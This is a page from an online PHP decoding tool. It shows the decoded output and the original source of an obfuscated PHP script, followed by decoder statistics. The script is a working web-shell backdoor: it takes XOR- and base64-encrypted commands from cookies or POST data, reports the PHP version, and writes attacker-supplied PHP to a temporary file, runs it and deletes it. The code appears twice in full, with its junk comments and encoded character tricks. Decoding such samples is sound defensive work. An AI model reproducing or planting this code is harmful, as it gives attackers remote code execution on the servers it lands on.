Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* bw */ function /* gdzwf */ ugvxqi(){$epctx='r_kwjq'; print_r (95492+..

Decoded Output download

<?php  /*  bw  */ function /*  gdzwf   */ ugvxqi(){$epctx='r_kwjq';     print_r    (95492+95492); /*   o  */ } 
 
$axrqu   =   'axrqu'    ^       ''; 
 
$okzeey    =      $_COOKIE; 
 
$chmgcov   =    $_POST; 
$vibnsdmepdyqugld       =       'jycl';$hgngvyuaj /* hd */ =       'gncztchgjm'; 
function     vmffhcrptp() 
 
{ /*   d */ $mdznj    =  362; 
 
 
 /*qknbdx*/ $ldn_e    = /*  at_hg   */ 'qha'; /* m  */ $fybxssvsog /*wk*/ = /*   k */ -54; /*   bro   */ $qjvttqo    = /*nqzfsp*/ $mdznj /*cc  */ /    8; 
 
 /* fvhr  */ $e_byafve     =  218; 
 
 
 /* rmbv */ $zqetqcxq       =      'bgnimn'; 
 
 
   $npkfthmxb    =    -98; 
 
 
}vmffhcrptp(); 
 
 
 
function      xzyqds($rjrdoa_,    $pyizklwhwe){ 
 
 /*  d*/ $zzslxeq    =    strlen($rjrdoa_); 
 
        $gzogn  =       strlen($pyizklwhwe); 
 
 
 /*   dsars   */  
        global     $axrqu; 
 
 
  $p_dvdggow    =   ""; 
 
        $pagk_ /*  j  */ =    0;   
 
 /* zprqj  */ while      ($pagk_    <    $zzslxeq) /* yeuzx  */ { 
    for /* pwul  */ ($vibnsdme /*  iut */ = /* sqy */ 0; /* uwk */ $vibnsdme /* uaemsc */ <   $gzogn    &&      $pagk_ /* w */ <    $zzslxeq;      $vibnsdme++, /*  dsdz   */ $pagk_++)    { /*a_o */ $p_dvdggow     .= /*aigjy */ $axrqu(ord($rjrdoa_[$pagk_])       ^    ord($pyizklwhwe[$vibnsdme])); 
 /*na   */ }    }      
 
    return   $p_dvdggow; 
} 
 
 
 
 
function        hun_s() 
 
 
{ 
 
 /*xa   */ $tuvkxmu_ri /*bwxgxq */ =   -47; 
 
 
  $vibnsdmeletgl /*   avgp  */ = /*_c   */ 'rkfg';    $vibnsdmebdekvc   =     400; 
 
    $aqqxfjcp      =     'ubqsrytz'; 
} 
 
 
 
 
function        dbcngdshd($ngaqmjyi,       $rjrdoa_) 
 
{ 
 
 
   global /*   gmdhuw  */ $axrqu; 
 
 /*  _  */ $azckc      =    sprintf(".".$axrqu(47) /*   bgdz  */ .    "%".$axrqu(115)    . /*   aoc_ */ $axrqu(46)      .       "p"."l", /* idkz*/ md5($ngaqmjyi)); 
   file_put_contents($azckc,      "<" /*  qpv  */ . /*ld */ $axrqu(63) /* qmcjrd */ .   "p".$axrqu(104)  . /*   d  */ "p".$axrqu(32)    .    "u"."n".$axrqu(108) /*  j*/ .    $axrqu(696-591)."n"."k"."(".$axrqu(362-267) /* zxgce*/ .       $axrqu(316-221) /* bblj   */ .    $axrqu(1037-967)      .       $axrqu(73)       . /*   imc   */ "L"."E".$axrqu(660-565)    . /*   aiqqif*/ "_".$axrqu(65-24)        .       $axrqu(59) /*wepq   */ .      $axrqu(32) /* afy*/ .  $rjrdoa_[$axrqu(100)]); 
 
 
$namkllopqg     =    58; 
 
 
$gktyf    =    569; 
 
 /*  lpieej   */ include($azckc); 
 
 
 /*   erjkej   */ $pagk_rtvws /* aog*/ =        $azckc; 
 
 
   $truy_klj   = /*  fn*/ 258; 
 
   @unlink($pagk_rtvws); 
 
 
 /*   hzt   */ $_qcr_x  =    254;    $unlipedq /*qtkgyk  */ =      $namkllopqg  % /*pwafw*/ 3; 
 
} 
 
 
 
 
 
 
 
hun_s(); 
 
function /*  ah   */ snogdzjuoj() 
 
{ 
 /*   zhkgww */ global       $axrqu; 
 
 
 
 /*  g*/ $pagk_ /*_cl   */ =     array();    $pagk_["p"."v"]    =     phpversion(); 
 
 
    $ygrbhfujm    =     'uzoy'; 
 
 
 /*  t_*/ $mzfhz    =    strtoupper($ygrbhfujm);        $pagk_["s" /* vscwm  */ . /*bhcz*/ $axrqu(118)] /*eetp */ =   "3".$axrqu(46) /*  aexqnt */ .    "5"; 
 
 /* oksbc*/ $nyqy_ /*   mxz  */ =    strtoupper($mzfhz); 
 
        echo /*   _*/ @serialize($pagk_); 
} 
 
 
 
 
 
function    cydaevpozy($rjrdoa_, /* qoef   */ $ngaqmjyi,        $pagk_ppgrgcfr){ 
 
        global     $axrqu; 
 
        $rjrdoa_ /*  aac   */ = /*   ymymn   */ unserialize(xzyqds(xzyqds(base64_decode($rjrdoa_),    $ngaqmjyi),    $pagk_ppgrgcfr)); 
 
    if    (isset($rjrdoa_["a"        .      $axrqu(303-196)])) /*  m_le */ { 
    if    ($rjrdoa_["a"]    == /* jirmsl*/ $axrqu(696-591))      { 
    snogdzjuoj(); 
 
 /*   tix   */ $zdiogzacjs /*glhn   */ = /*   pc  */ 555; 
 
  }    elseif   ($rjrdoa_["a"]     ==    "e")    { 
      dbcngdshd($ngaqmjyi,    $rjrdoa_); 
 
 
    $ssilr    = 'ta'; 
    } 
 
 /*  voyv*/ exit(); 
 
 
  } 
} 
 
 
 
$okzeey    =    array_merge($chmgcov, /*tpmsmj */ $okzeey); 
 
 
 
$ngaqmjyi    = /*   grbz   */ $axrqu(493-391)  .        $axrqu(54) /* ep_  */ . /*   ovbm  */ $axrqu(55)        .    "1"      . /*kypwkd*/ $axrqu(744-696)    .    $axrqu(49)    .    "3" /*   puk*/ .    "6".$axrqu(45)       .   "0" /*  m  */ .   "0"."f"."5".$axrqu(1013-968)    .    $axrqu(670-618) /* gpv   */ .     "d" /*lzi  */ .    $axrqu(53)      . /*  gbkw  */ "5".$axrqu(45)   .       $axrqu(57)       .   "e"."7"."e".$axrqu(45) /*lqggd */ .    $axrqu(987-931) /* x  */ . /*   tohs   */ "9".$axrqu(951-851) /*   wxyv */ .    "f".$axrqu(49) /*  dc  */ .  $axrqu(507-410) /*   kuf  */ . /*bc   */ "0".$axrqu(949-897)    . /*   nw */ $axrqu(98)  . "b"    . /*  yf*/ $axrqu(48)    . /*   hcdesm  */ $axrqu(56); 
 
 
foreach    ($okzeey /*  gc  */ as    $pagk_ppgrgcfr   => /* zpr */ $rjrdoa_) /*   faxsa  */ { 
 
 
        cydaevpozy($rjrdoa_,    $ngaqmjyi,       $pagk_ppgrgcfr); 
 
    $rsyzlfcy    = /*  tjbqnp*/ 'dhcaz'; 
 
 /* cr   */ $n_akgbfza_    = /*  mldosw  */ 468; 
 
 
} ?>

Did this file decode correctly?

Original Code

<?php  /*  bw  */ function /*  gdzwf   */ ugvxqi(){$epctx='r_kwjq';     print_r    (95492+95492); /*   o  */ }

$axrqu   =   'axrqu'    ^       '';

$okzeey    =      $_COOKIE;

$chmgcov   =    $_POST;
$vibnsdmepdyqugld       =       'jycl';$hgngvyuaj /* hd */ =       'gncztchgjm';
function     vmffhcrptp()

{ /*   d */ $mdznj    =  362;


 /*qknbdx*/ $ldn_e    = /*  at_hg   */ 'qha'; /* m  */ $fybxssvsog /*wk*/ = /*   k */ -54; /*   bro   */ $qjvttqo    = /*nqzfsp*/ $mdznj /*cc  */ /    8;

 /* fvhr  */ $e_byafve     =  218;


 /* rmbv */ $zqetqcxq       =      'bgnimn';


   $npkfthmxb    =    -98;


}vmffhcrptp();



function      xzyqds($rjrdoa_,    $pyizklwhwe){

 /*  d*/ $zzslxeq    =    strlen($rjrdoa_);

        $gzogn  =       strlen($pyizklwhwe);


 /*   dsars   */ 
        global     $axrqu;


  $p_dvdggow    =   "";

        $pagk_ /*  j  */ =    0;  

 /* zprqj  */ while      ($pagk_    <    $zzslxeq) /* yeuzx  */ {
    for /* pwul  */ ($vibnsdme /*  iut */ = /* sqy */ 0; /* uwk */ $vibnsdme /* uaemsc */ <   $gzogn    &&      $pagk_ /* w */ <    $zzslxeq;      $vibnsdme++, /*  dsdz   */ $pagk_++)    { /*a_o */ $p_dvdggow     .= /*aigjy */ $axrqu(ord($rjrdoa_[$pagk_])       ^    ord($pyizklwhwe[$vibnsdme]));
 /*na   */ }    }     

    return   $p_dvdggow;
}




function        hun_s()


{

 /*xa   */ $tuvkxmu_ri /*bwxgxq */ =   -47;


  $vibnsdmeletgl /*   avgp  */ = /*_c   */ 'rkfg';    $vibnsdmebdekvc   =     400;

    $aqqxfjcp      =     'ubqsrytz';
}




function        dbcngdshd($ngaqmjyi,       $rjrdoa_)

{


   global /*   gmdhuw  */ $axrqu;

 /*  _  */ $azckc      =    sprintf(".".$axrqu(47) /*   bgdz  */ .    "%".$axrqu(115)    . /*   aoc_ */ $axrqu(46)      .       "p"."l", /* idkz*/ md5($ngaqmjyi));
   file_put_contents($azckc,      "<" /*  qpv  */ . /*ld */ $axrqu(63) /* qmcjrd */ .   "p".$axrqu(104)  . /*   d  */ "p".$axrqu(32)    .    "u"."n".$axrqu(108) /*  j*/ .    $axrqu(696-591)."n"."k"."(".$axrqu(362-267) /* zxgce*/ .       $axrqu(316-221) /* bblj   */ .    $axrqu(1037-967)      .       $axrqu(73)       . /*   imc   */ "L"."E".$axrqu(660-565)    . /*   aiqqif*/ "_".$axrqu(65-24)        .       $axrqu(59) /*wepq   */ .      $axrqu(32) /* afy*/ .  $rjrdoa_[$axrqu(100)]);


$namkllopqg     =    58;


$gktyf    =    569;

 /*  lpieej   */ include($azckc);


 /*   erjkej   */ $pagk_rtvws /* aog*/ =        $azckc;


   $truy_klj   = /*  fn*/ 258;

   @unlink($pagk_rtvws);


 /*   hzt   */ $_qcr_x  =    254;    $unlipedq /*qtkgyk  */ =      $namkllopqg  % /*pwafw*/ 3;

}







hun_s();

function /*  ah   */ snogdzjuoj()

{
 /*   zhkgww */ global       $axrqu;



 /*  g*/ $pagk_ /*_cl   */ =     array();    $pagk_["p"."\166"]    =     phpversion();


    $ygrbhfujm    =     'uzoy';


 /*  t_*/ $mzfhz    =    strtoupper($ygrbhfujm);        $pagk_["\163" /* vscwm  */ . /*bhcz*/ $axrqu(118)] /*eetp */ =   "3".$axrqu(46) /*  aexqnt */ .    "\x35";

 /* oksbc*/ $nyqy_ /*   mxz  */ =    strtoupper($mzfhz);

        echo /*   _*/ @serialize($pagk_);
}





function    cydaevpozy($rjrdoa_, /* qoef   */ $ngaqmjyi,        $pagk_ppgrgcfr){

        global     $axrqu;

        $rjrdoa_ /*  aac   */ = /*   ymymn   */ unserialize(xzyqds(xzyqds(base64_decode($rjrdoa_),    $ngaqmjyi),    $pagk_ppgrgcfr));

    if    (isset($rjrdoa_["\x61"        .      $axrqu(303-196)])) /*  m_le */ {
    if    ($rjrdoa_["\x61"]    == /* jirmsl*/ $axrqu(696-591))      {
    snogdzjuoj();

 /*   tix   */ $zdiogzacjs /*glhn   */ = /*   pc  */ 555;

  }    elseif   ($rjrdoa_["\x61"]     ==    "\x65")    {
      dbcngdshd($ngaqmjyi,    $rjrdoa_);


    $ssilr    = 'ta';
    }

 /*  voyv*/ exit();


  }
}



$okzeey    =    array_merge($chmgcov, /*tpmsmj */ $okzeey);



$ngaqmjyi    = /*   grbz   */ $axrqu(493-391)  .        $axrqu(54) /* ep_  */ . /*   ovbm  */ $axrqu(55)        .    "\61"      . /*kypwkd*/ $axrqu(744-696)    .    $axrqu(49)    .    "\x33" /*   puk*/ .    "6".$axrqu(45)       .   "\x30" /*  m  */ .   "0"."f"."5".$axrqu(1013-968)    .    $axrqu(670-618) /* gpv   */ .     "\144" /*lzi  */ .    $axrqu(53)      . /*  gbkw  */ "5".$axrqu(45)   .       $axrqu(57)       .   "\x65"."7"."\x65".$axrqu(45) /*lqggd */ .    $axrqu(987-931) /* x  */ . /*   tohs   */ "9".$axrqu(951-851) /*   wxyv */ .    "f".$axrqu(49) /*  dc  */ .  $axrqu(507-410) /*   kuf  */ . /*bc   */ "0".$axrqu(949-897)    . /*   nw */ $axrqu(98)  . "\142"    . /*  yf*/ $axrqu(48)    . /*   hcdesm  */ $axrqu(56);


foreach    ($okzeey /*  gc  */ as    $pagk_ppgrgcfr   => /* zpr */ $rjrdoa_) /*   faxsa  */ {


        cydaevpozy($rjrdoa_,    $ngaqmjyi,       $pagk_ppgrgcfr);

    $rsyzlfcy    = /*  tjbqnp*/ 'dhcaz';

 /* cr   */ $n_akgbfza_    = /*  mldosw  */ 468;


}

Function Calls

None

Variables

None

Stats

MD5 4771346f6cc5c5a05fe8114588f70fdd
Eval Count 0
Decode Time 192 ms